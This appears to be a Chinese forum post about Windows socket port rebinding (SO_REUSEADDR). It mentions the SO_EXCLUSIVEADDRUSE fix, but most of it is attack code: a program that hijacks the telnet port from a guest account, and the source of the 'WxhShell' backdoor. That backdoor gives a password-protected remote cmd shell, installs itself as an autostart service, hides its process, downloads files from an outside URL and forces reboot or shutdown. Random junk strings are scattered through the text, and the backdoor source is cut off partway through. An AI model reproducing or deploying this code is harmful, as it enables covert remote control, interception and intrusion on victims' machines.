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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q%M~gp1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a:GM|X Qm7];, saddr.sin_family = AF_INET; Uufig)6 ?zP
2
saddr.sin_addr.s_addr = htonl(INADDR_ANY); t+d7{&B [&P@0Fn bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vaQsG6q[ rF}Q(<Y86 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U<F|A!Fg }; 7I 这意味着什么?意味着可以进行如下的攻击: '>"blfix8 zqt%x?l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L1+s0g> DO{otn9< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bLWY Tj C}uzzG6s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4dN <B U ml|FdQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9BlpqS:P& :!cK?H$+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >Mh\jt\ fp(zd;BSQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $;(@0UDE H_XspiB@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %H{;wVjK PepR]ym #include g/68&
M #include |Wa.W0A #include 'Qg!ww7O #include xR$T/] / DWORD WINAPI ClientThread(LPVOID lpParam); czT2f int main() o+8H:7,o' { OqRRf WORD wVersionRequested; SAitufS DWORD ret; 7l/ZRz}1 WSADATA wsaData; p<\!{5: BOOL val; RiAMW|M"C SOCKADDR_IN saddr; dPpJDY0 SOCKADDR_IN scaddr; [\eVX`it int err; mA.,.<xE@ SOCKET s; cR!M{U.q SOCKET sc; Hn(Eut7% int caddsize; G0Z5 h HANDLE mt; Vg,nNa3 DWORD tid; \K"7U wVersionRequested = MAKEWORD( 2, 2 ); }:0ru_F)(4 err = WSAStartup( wVersionRequested, &wsaData ); QL7.QG
if ( err != 0 ) { f34/whD65 printf("error!WSAStartup failed!\n"); (f_YgQEL return -1; S,5>/'fy0 } .9Cy<z saddr.sin_family = AF_INET; WK?5`|1l:x 3O-vO=D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j
`!Ge j[R.UB3J saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S[7^#O.) saddr.sin_port = htons(23); v,*C>u\3s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g5pFr=NV { :JX2GRL4 printf("error!socket failed!\n"); .vy@uT, return -1; 8!.V`|@lt } |By[ev"Kh% val = TRUE; %,~\,+NP //SO_REUSEADDR选项就是可以实现端口重绑定的 WvArppANo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5oCg&aT { ~4=*kJ#7 printf("error!setsockopt failed!\n"); RR:%"4M return -1; mj9sX^$dE } XC;Icr) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gjz-CY.hz //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AWMJ/E*T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n6t@ e^ ?ZGsh7<k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <)!,$]S { <"K*O9nst ret=GetLastError(); z7sDaZL?_ printf("error!bind failed!\n"); :] U\{;q2 return -1; ,YvOk|@R } /i27F2NQm listen(s,2); Nc4;2~XwRp while(1) T\$i=,_$ { <},JWV3 caddsize = sizeof(scaddr); Nb9GrYIS //接受连接请求 >"=DN5w
,S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R3a}YwJFXF if(sc!=INVALID_SOCKET) ^Y+C!I { *{+{h;p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eBxm if(mt==NULL) E X'PRNB, { x$o^;2Z printf("Thread Creat Failed!\n"); b FajK; break; _ {wP:dI " } )kI**mI} } 3TCRCz CloseHandle(mt); Ic_NQ<8 } *IWW,@0 closesocket(s); WG6
0 WSACleanup(); "|1iz2L return 0; 7M7Ir\d0lp } *@PM,tS; DWORD WINAPI ClientThread(LPVOID lpParam) {]}94T~/k { mgVYKZWL-i SOCKET ss = (SOCKET)lpParam; K.mxF,H SOCKET sc; yj_> G unsigned char buf[4096]; I_z(ft. SOCKADDR_IN saddr; TbNH{w|p long num; MaHP):~ DWORD val; MomHSv Q\ DWORD ret; 7p Y :.iVO //如果是隐藏端口应用的话,可以在此处加一些判断 `ROHB@- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6uo;4}0 saddr.sin_family = AF_INET; Kd^.>T- saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yCN_vrH> saddr.sin_port = htons(23); :zKMw= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /QyKXg6)l { G'G8`1Nj printf("error!socket failed!\n"); /<8y> return -1; 4%ooJi|) } xR3$sA2 val = 100; Ws`ndR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uz{RV_IX7 { RfTGTz@H ret = GetLastError(); hF0,{v return -1; YVDFcN9v } io+V4m
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]nB|8k=J { \298SH(!7 ret = GetLastError(); u>:(MARsR return -1; /o m++DxV } ;H~<.QW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NvJ5[W { 1F`jptVQ\G printf("error!socket connect failed!\n"); xH*X5? closesocket(sc); HVHv,:bPo closesocket(ss); |0=UZK7%O return -1; +K'Hr:( } ZzupK^5Z while(1) i}DS+~8v { [A,^F0:h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @pYEzizP7 //如果是嗅探内容的话,可以再此处进行内容分析和记录 iI IXv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LO{Axf% num = recv(ss,buf,4096,0); PZusYeV8b if(num>0) ]9y\W}j send(sc,buf,num,0); *|dr-e_j else if(num==0) }Rw ,4 break; XhM!pSl\ num = recv(sc,buf,4096,0);
pzz*>Y if(num>0) 87 s *lS send(ss,buf,num,0); ?PT>V,& else if(num==0) @ps(3~?7 break; {jz`K1 }
qt~=47<d closesocket(ss); :HO5
T closesocket(sc); z2uL[deN'" return 0 ; )|lxzlk } pqfX}x R^*baiXVI
zd=O;T;. ========================================================== ?qaWt/m ]oB~8d 下边附上一个代码,,WXhSHELL ]h,rgO;
L\PmT ========================================================== lQ;BI~ Q-
| Y #include "stdafx.h" VX$WL"A u##th8h4U #include <stdio.h> k9;^|Cm
k #include <string.h> c;$4}U4 #include <windows.h> W}CM;~*L #include <winsock2.h> uX6yhaOp| #include <winsvc.h> LTTMa-]Yy #include <urlmon.h> fgdR:@]- tR|dnC4U #pragma comment (lib, "Ws2_32.lib") a]T:wUYG' #pragma comment (lib, "urlmon.lib") lhGJ/By- - Kgu8E:nL #define MAX_USER 100 // 最大客户端连接数 I x%>aee #define BUF_SOCK 200 // sock buffer kUf i #define KEY_BUFF 255 // 输入 buffer Mqr_w!8d 3T2]V? #define REBOOT 0 // 重启 e|\xFV=4 #define SHUTDOWN 1 // 关机 gA!@oiq@ i7Up AHd/ #define DEF_PORT 5000 // 监听端口 }uZs)UQ|$ /kbU< #define REG_LEN 16 // 注册表键长度 S<"Fp1#"l #define SVC_LEN 80 // NT服务名长度 f82%nT V 95o(c.p // 从dll定义API cKt=? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B{nwQC b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >qmCjY1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qn!mS[l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l;lrf3 r=H?fTY<3E // wxhshell配置信息 SO$Af!S:bB struct WSCFG { ?*fY$93O int ws_port; // 监听端口 e73=*~kfR char ws_passstr[REG_LEN]; // 口令 <q'l7S int ws_autoins; // 安装标记, 1=yes 0=no Re,;$_6o char ws_regname[REG_LEN]; // 注册表键名 _=GjJ~2n char ws_svcname[REG_LEN]; // 服务名 V*giF`gq char ws_svcdisp[SVC_LEN]; // 服务显示名 Q/+`9z+c char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dr3_MWJ+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,vR?iNd:q[ int ws_downexe; // 下载执行标记, 1=yes 0=no 8 "l
PiW3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" m\6/:~qWW char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }/cReX,so h'y%TOob }; X-c|jn7 w4U,7%V
// default Wxhshell configuration y{%0[x*N<m struct WSCFG wscfg={DEF_PORT, s#9q3JV0 "xuhuanlingzhe", 4S<M9A} 1, v675C# l( "Wxhshell", ?QOU9"@+B "Wxhshell", `q?3ux "WxhShell Service", b@Ej$t& "Wrsky Windows CmdShell Service", qjB:6Jq4q "Please Input Your Password: ", #-0e0 1, &k:xr,N= " http://www.wrsky.com/wxhshell.exe", oD)]4| "Wxhshell.exe" !g@Ky$ }; u m9yO'[C 'Gy`e-yB // 消息定义模块 _U s" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F]\
Sk'}& char *msg_ws_prompt="\n\r? for help\n\r#>"; t'n@yX_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +Nt4R:N char *msg_ws_ext="\n\rExit."; XO+BZB`F char *msg_ws_end="\n\rQuit."; vO}r(kNJ char *msg_ws_boot="\n\rReboot..."; PG&t~4QM` char *msg_ws_poff="\n\rShutdown..."; XF!L.' zH char *msg_ws_down="\n\rSave to "; e"E8BU $.PRav char *msg_ws_err="\n\rErr!"; RM;a]g* char *msg_ws_ok="\n\rOK!"; ,
>LJpv +fP.Ewi char ExeFile[MAX_PATH]; -?Cr&!*B int nUser = 0; m'rDoly"62 HANDLE handles[MAX_USER]; Y^fw37b int OsIsNt; \ruQx)5M GX>8B:]o| SERVICE_STATUS serviceStatus; m5K?oV@n SERVICE_STATUS_HANDLE hServiceStatusHandle; 9&lemz W$4$%r8 // 函数声明 Coi[cfg0 int Install(void); 0<,{poMM int Uninstall(void); mTZ/C#ir( int DownloadFile(char *sURL, SOCKET wsh); 6TP
/0o) int Boot(int flag); 1djZ5`+ void HideProc(void); 6{h\CU}" int GetOsVer(void); {9@D zP int Wxhshell(SOCKET wsl); &6eo;8
`U void TalkWithClient(void *cs); )bUnk+_ int CmdShell(SOCKET sock); orGMzC 2 int StartFromService(void); ={g)[:(C. int StartWxhshell(LPSTR lpCmdLine); }Fe6L;^; @{Rb]d?&F? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3~>-A= VOID WINAPI NTServiceHandler( DWORD fdwControl ); @j!,8JQEd n7[nl43 // 数据结构和表定义 CMj =4e SERVICE_TABLE_ENTRY DispatchTable[] = ,'8%'xit { 8 v/H;65 {wscfg.ws_svcname, NTServiceMain}, tFmB`*!% {NULL, NULL} 6,>$Jzs)5E }; A@A8xn% ;uBGB
h< // 自我安装 w1/QnV int Install(void) \+
se%O { Z&
_kq| char svExeFile[MAX_PATH]; 'RjEdLrI HKEY key; Lq(=0U\"P strcpy(svExeFile,ExeFile); wvv+~K9jq 'OY4Q'Z // 如果是win9x系统,修改注册表设为自启动 &Hoc`u if(!OsIsNt) { )U&9d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 67j kU! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ja]e%w# RegCloseKey(key); yXNr[7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q]WBH_j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JRl=j2z RegCloseKey(key); H$`U]
=s| return 0; wWl?c } ;s+/'(* } OSBR2Z;= } s= Fp[>qA else { F9%_@n R{g=
N%O // 如果是NT以上系统,安装为系统服务 7`|'Om?' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R@c] )\^] if (schSCManager!=0) > Pw5!i\ { YVIE v SC_HANDLE schService = CreateService \e86'& ( (0{Dn5MH schSCManager, o,7|=.-b wscfg.ws_svcname, de:@/-| wscfg.ws_svcdisp, f"Sp.'@ SERVICE_ALL_ACCESS, 0#V"
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , be+-p SERVICE_AUTO_START, 6#z8 %kaX SERVICE_ERROR_NORMAL, 6H|SiO9 svExeFile, v "l).G? NULL, Phn^0 iF NULL, ;Q{D]4 NULL, a\P :jgF NULL, +XWTu! NULL J!C \R5\ ); @)pC3Vi^ if (schService!=0) 9qap#A { :8yebOs CloseServiceHandle(schService); IdmP!(u CloseServiceHandle(schSCManager); ![z2]L+TB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E@ea?Sx strcat(svExeFile,wscfg.ws_svcname); #2]*qgA4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A/y|pg5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S{^x]h|? RegCloseKey(key); bxE~tsM"@Y return 0; aL(G0@( } A$2
;Bf } 64'2ICf#m CloseServiceHandle(schSCManager); j@xIa-{* } bxa>:71 } :<g0Ho?e =%U&$d|@G return 1; "51/,D } 6ALjM-t=V GCl
*x: // 自我卸载 Q>5f@aN int Uninstall(void) $%EX~$=m]- { h0F=5| B HKEY key; @Ou
H=<YN Cu@q*:' if(!OsIsNt) { & AK\Pw) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]!ai?z%cK# RegDeleteValue(key,wscfg.ws_regname); .@{v{ RegCloseKey(key); h1~h&F? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `l45T~`]$ RegDeleteValue(key,wscfg.ws_regname); "}()/ RegCloseKey(key); []>rYZ9bv return 0; c/$].VG0 } q^xG%YdPz+ } "M/c0`>C!i } {IOc'W-C#2 else { -nGcm"'6F 4U dk# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > TYDkEs0 if (schSCManager!=0) Noj*K6 { vA6`};| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Z*rY?v if (schService!=0) ;!f='QuA { i$kB6B#== if(DeleteService(schService)!=0) { WN]k+0# CloseServiceHandle(schService); `)cI^! CloseServiceHandle(schSCManager); b36{vcs~ return 0; 2)IM<rf'^ } p&I>xu8fl CloseServiceHandle(schService); A.b^?k%I } k<*v6
sNs; CloseServiceHandle(schSCManager); ZV{C9S& } h[dJNawL } QPm[4Fd{G (rFkXK4^J return 1; faOiNR7;h } dEYw_qJ2 O.jm{x!m // 从指定url下载文件 YT-ua{.^ int DownloadFile(char *sURL, SOCKET wsh) ;MeY@*"{ { g#(+:^3' HRESULT hr; '/`O*KD] char seps[]= "/"; @vq)Y2)r\ char *token; T;DKDga char *file; XW aa`q char myURL[MAX_PATH]; 3>n&u,Xe char myFILE[MAX_PATH]; xY?p(>( 'jO2pH/% strcpy(myURL,sURL); _N;@jq\q token=strtok(myURL,seps); +C\79,r while(token!=NULL) C9+rrc@4 { (-yif& file=token; "]jN'N(. token=strtok(NULL,seps); G+#bO5 } tD`^qMua }Bv1fbD4U GetCurrentDirectory(MAX_PATH,myFILE); }h`z2%5o strcat(myFILE, "\\"); L{~ ]lUo strcat(myFILE, file); ft7M9<#v send(wsh,myFILE,strlen(myFILE),0); n
^9?(a4u send(wsh,"...",3,0); ZC2aIJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z?13~e[D if(hr==S_OK) 62nmm/c return 0; Kz
b-a$ else ,m*HRUY return 1; 9+ Mj$ MP}-7UA#K } P,ZQ*Ju oaha5aWH // 系统电源模块 > 3& int Boot(int flag) i;pg9Vw { p p0356 HANDLE hToken; iJdJP)!tz6 TOKEN_PRIVILEGES tkp; `'|6b5`2j kKRu]0J~[ if(OsIsNt) { . AA#
G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <
e3] pM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L[PqEN\i tkp.PrivilegeCount = 1; )'jGf;du tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BHp>(7, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ] K&ca if(flag==REBOOT) { H.M:
cD: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xY)eU;* return 0; !.%*Tp#k# } K"[jrvZ= else { Y->sJm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )0I-N) return 0; +|;Ri68 } G8]{pbX } q2|x$5 else { t ^>07#z if(flag==REBOOT) { u gRyUny if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EO(l?Fgw]$ return 0; }+lK'6 } \_u{ EB'b else { rhzI*nwOT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2.JrLBhN return 0; ug{sQyLN } KUPQ6v } } ZuWhgnp .+Q1h61$T return 1; _[8JSw7 } ~YNzSkz Tq*<J~- // win9x进程隐藏模块 JoB-&r}\V* void HideProc(void) |
#a{1Z) { 3v$n}. !M }-N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?!F<xi: if ( hKernel != NULL ) +?t&
7={~ { zxs)o}8icO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `r&Ui%fk;0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~eTp( XG FreeLibrary(hKernel); x!85P\sm } S&=@Hj- ZH=Bm^ return; zI"&g]TV5 } (j:[<U P\[K)N/ 1 // 获取操作系统版本 gzK/ l: int GetOsVer(void) rx]Q,;" { .@r{Tq,%q8 OSVERSIONINFO winfo; H[g i`{c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EQ"_kJ>81Y GetVersionEx(&winfo); )2Q0NbDn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #WUN=u return 1; N1E9w:T` else i< imE# return 0; /QlzWson } _Q\rZ
l 9JMf
T] // 客户端句柄模块 A$~H`W<yxB int Wxhshell(SOCKET wsl) i+Ne.h { q}'<[Wg SOCKET wsh; @w%kOX struct sockaddr_in client; \Rt>U|% DWORD myID; f[`&3+ kSJ;kz,_ while(nUser<MAX_USER) ?TDmW8G}J { O d6'bO;G int nSize=sizeof(client); taVK&ohWx wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (0_]=r=q if(wsh==INVALID_SOCKET) return 1; jA@
uV,w $rjm MSxi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bQ?Vh@j(M if(handles[nUser]==0) m-[xrVV closesocket(wsh); PHez5 }T else iN Lt4F[i nUser++; ),o=~,v: } \/wk!mWV@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BD.l 5~: BB/c5?V return 0; LEg|R+6E } &RS)U72 K)Ya%%6[U# // 关闭 socket v-F|#4Q=ut void CloseIt(SOCKET wsh) E^w0X,0XlE { 4;jAdWj3 closesocket(wsh); +U1fa9NSn nUser--; t=fAG,k5 ExitThread(0); n68qxD-X } O#^qd0e'P! sV%=z}n= // 客户端请求句柄 +5GC?cW void TalkWithClient(void *cs) +Z9ua%,3% { ncsk(`lo 0|\JbM SOCKET wsh=(SOCKET)cs; 1?TgI0HS char pwd[SVC_LEN]; ,F'y :px char cmd[KEY_BUFF]; ] RVme^= char chr[1]; *=%`f= int i,j; /byF:iYI H]dN'c- while (nUser < MAX_USER) { K(NP%: za.^vwkBk2 if(wscfg.ws_passstr) {
rd(-2,$4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2C_I3S~U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H!y-o'Z //ZeroMemory(pwd,KEY_BUFF); MqWM!v-M i=0; 6il+hz2&lH while(i<SVC_LEN) { #LYx;[D6 M;z )c|Z // 设置超时 .D=#HEshk fd_set FdRead; TYxi&;w struct timeval TimeOut; Pl|*+g FD_ZERO(&FdRead); cnDBT3$~Z FD_SET(wsh,&FdRead); naY#`xig TimeOut.tv_sec=8; v`jFWq8I, TimeOut.tv_usec=0; WK SWOSJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3\B~`=*q/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LKud' JS >"j d# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~W gO{@Mw pwd =chr[0]; 4tt=u]: if(chr[0]==0xd || chr[0]==0xa) { 4
$)}d pwd=0; b Sg]FB aW break; &3 ~R-$P } TU2MG VYy i++; n>lQ:l~ } 2ZxZ2?.uJ DY87NS*HF // 如果是非法用户,关闭 socket bOlb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XOZ@ek)LY } ~VF?T~Kr_ )d5mZE!3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $yZP"AsAR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]`@<I'?,X ehX4[j6 while(1) { H//,qxDc 7ws[Rp8 ZeroMemory(cmd,KEY_BUFF); ;p(Doy)i {RH)&k&% // 自动支持客户端 telnet标准 Fz$^CMw5K j=0; \D! I"mr while(j<KEY_BUFF) { g+k
yvI7o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `]2y=f<{X cmd[j]=chr[0]; N1]P3 if(chr[0]==0xa || chr[0]==0xd) { Wc/B_F?2 cmd[j]=0; LC/%AbM break; C:}"?tri } =co6.Il j++; 38RyUHL= } 0^MRPE|f5 }4*~*NoQ // 下载文件 e({-.ra if(strstr(cmd,"http://")) { _4t send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3{-
8n/4
k if(DownloadFile(cmd,wsh)) 9\R+g5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); DB+.< else yu'@gg(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W'C~{}c= } ?CuwA-j else { ~,84E [VV 2MKB(;k switch(cmd[0]) { dMH}%f5;1 ]*AQT7PH // 帮助 `HM?Fc58 case '?': { -sk!XWW+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $,7Yo
nc break; /.@"wAw: } 4{=^J2z // 安装 SfwNNX% case 'i': { p w`YMk if(Install()) * @'N/W/8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); wEb10t, else >VvA&p71b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yUFT9bD break; MvlqxJ$ } a"X9cU[ // 卸载 #;>v,Jo case 'r': { ]KRw[}z if(Uninstall()) /:aY)0F0<& send(wsh,msg_ws_err,strlen(msg_ws_err),0); YZ^;xV else HY7#z2L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 32,Y3!% break; ;[[oZ } sxU
0Fg // 显示 wxhshell 所在路径 I(:d8SF case 'p': { um1xSf1Xv char svExeFile[MAX_PATH]; 7 +kU 8} strcpy(svExeFile,"\n\r"); @7,k0H9Moa strcat(svExeFile,ExeFile); rW0-XLbL5H send(wsh,svExeFile,strlen(svExeFile),0); ]9NA3U7F break; `KmM*_a } ~~3 BV, // 重启 ?hnxc0~P case 'b': { V82N8-l send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h2m@Q={ if(Boot(REBOOT)) xU;;@9X send(wsh,msg_ws_err,strlen(msg_ws_err),0); IpI|G!Y, else { qv$m5CJvK closesocket(wsh); Ya-kMUW ExitThread(0); I=9sTR) } w|8T6W|w break; jB%aHUF; } (<xl _L:*. // 关机 xr1,D5 case 'd': { ps3jw*QZ{5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8iUj9r_ if(Boot(SHUTDOWN)) #Q61c send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'P3jUc) else {
0ZJt closesocket(wsh); OS$^>1f" ExitThread(0); K0]42K } Q}:#Hz?U break; ,LVZ } #>dj!33 // 获取shell J'Y;j^ case 's': { &O.lIj#FR CmdShell(wsh); 58o'Q closesocket(wsh);
jLv8K ExitThread(0); *VgiJ break; C0 %yGLh& } >K-S&Y // 退出 qv.s-@l8 case 'x': { j)b[7% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gano>W0 CloseIt(wsh); d\v1R-V break; |WDMyKf6J } D
$3Mg // 离开 q=`i case 'q': { J>p6')Y6~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;dZuO[4\ closesocket(wsh); ![j?/376 WSACleanup(); IcP\#zhEv exit(1); nb_$g@ 03 break; VQwF9Iq]` } b,uudtlH } EN;s
8sC! } G#nZ%qQ:I ~X!Z+Vg // 提示信息 _mc-CZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Y/o9x0 } 1paLxR5 } b.|k j 6w)a.^yx7 return; xSy`VuSl } \x;`8H Bw25+l Px // shell模块句柄 25{-GaB int CmdShell(SOCKET sock) +Fa!<txn { ^c| _%/ STARTUPINFO si;
R]<N";- ZeroMemory(&si,sizeof(si)); X)b@ia'"Wp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]-"G:r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N`et]'_A} PROCESS_INFORMATION ProcessInfo; @jY=b< char cmdline[]="cmd"; k{ ~0BK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2xK v; return 0; p(Ux]_s% } 85?;\5%- cB=ExD.Q // 自身启动模式 b|oT!s int StartFromService(void) #gsJ
tT9 { cPy/}A typedef struct {ep(_1 { Oe
~g[I; DWORD ExitStatus; xtO#reL"q? DWORD PebBaseAddress; }\0ei(%H DWORD AffinityMask; ~sT1J| DWORD BasePriority; {2F@OfuCF ULONG UniqueProcessId; J"~!jrzBh( ULONG InheritedFromUniqueProcessId; YpI|=mv } PROCESS_BASIC_INFORMATION; 6|n3e,&A2 o2~P
